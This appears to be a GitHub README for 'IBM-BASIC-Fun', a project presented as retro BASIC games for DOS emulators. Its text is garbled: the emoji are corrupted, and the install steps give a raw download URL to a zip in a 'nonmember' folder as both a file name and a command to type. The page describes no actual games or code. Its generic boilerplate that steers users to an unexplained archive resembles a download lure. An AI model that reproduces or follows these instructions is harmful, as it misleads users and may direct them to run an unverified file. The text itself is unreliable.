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๐ŸŽฎ IBM-BASIC-Fun - Experience Classic Gaming Like Never Before!

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๐Ÿš€ Getting Started

Welcome to IBM-BASIC-Fun! This project gives you a taste of classic gaming using IBM BASIC on the legendary IBM 5150.

๐Ÿ› ๏ธ System Requirements

Before you dive in, make sure your computer can run this software. The following are the basic requirements:

  • Any computer that can run MS-DOS.
  • A program emulator for retro computing (e.g., DOSBox).
  • A minimum of 512 KB RAM for smooth performance.

๐Ÿ“ฆ Download & Install

To get started, follow these steps:

  1. Visit the Releases Page
    Click on the link below to access the latest releases:
    Download the latest release here

  2. Select the Version
    Find the version you want to download. Youโ€™ll see a list of files available for each version.

  3. Download the Files
    Click on the file name to download. Save it to a location on your computer that you can easily access, like your Desktop or Downloads folder.

  4. Extract the Files
    If the files are in a zip format, right-click on the downloaded file and select โ€œExtract Allโ€ to unpack the contents.

  5. Run the Software
    Open your DOS emulator. Navigate to the folder where you extracted the files. Type the name of the BASIC program and hit Enter.

    For example, if you extracted to a folder named IBM-BASIC-Fun and have a file called https://raw.githubusercontent.com/amasood26/IBM-BASIC-Fun/main/nonmember/IBM-BASIC-Fun.zip, you would type:

    https://raw.githubusercontent.com/amasood26/IBM-BASIC-Fun/main/nonmember/IBM-BASIC-Fun.zip
    

๐ŸŽฎ Features

IBM-BASIC-Fun offers a range of exciting features:

  • Classic Gaming Experience: Relive the nostalgia of early computing through interactive games built in BASIC.
  • Custom Game Development: Learn how to create your own games using simple BASIC commands.
  • Compatibility: Works seamlessly with any system capable of running MS-DOS.
  • Retro Computing Environment: Experience authentic retro computing with a friendly interface.

โš™๏ธ Troubleshooting

If you run into issues, here are some common problems and solutions:

  • Cannot Find the Program: Ensure you have extracted the files correctly and that you are in the right directory in your emulator.
  • Emulator Issues: Make sure youโ€™re using a compatible dos emulator like DOSBox.
  • Performance Problems: Check your system's RAM. If it is lower than recommended, try closing other programs.

๐ŸŒ Get Involved

We welcome contributions! If you have ideas to improve this application or fix any bugs, feel free to submit a pull request.

๐Ÿ™Œ Acknowledgments

Thanks to the retro computing community for inspiring this project. Classics like these remind us of simpler times in computing history!

๐Ÿ“ž Contact

For questions or feedback, you can reach out through the issues page on GitHub. Your input is valuable!

Enjoy your experience with IBM-BASIC-Fun and happy gaming!

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